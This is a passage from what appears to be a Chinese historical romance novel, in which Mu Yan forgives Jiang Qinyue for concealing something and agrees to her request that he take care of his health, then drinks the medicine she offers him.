但她今日出现在这里,是不是说明,她更在意自己? 罢了,他要理解她的隐瞒,就像她原谅凌觉那样。 “既是朋友,彼此之间自然要相互体谅,也不是什么大事,过去了便别再想了。”穆衍温声道。 江沁月如释重负地笑了:“好!都不想了!那……殿下可以答应我的请求了吗?” 看他一脸迷茫,江沁月提示道:“保重身体,不要作践自己。” 恰好这时云霞端来了热好的汤药,江沁月接过试了试温度,又递到了穆衍跟前。 “好,我答应你。”穆衍笑了笑,接过来一饮而尽。 药汁苦涩得难以下咽,但此时此刻,他甘之如饴。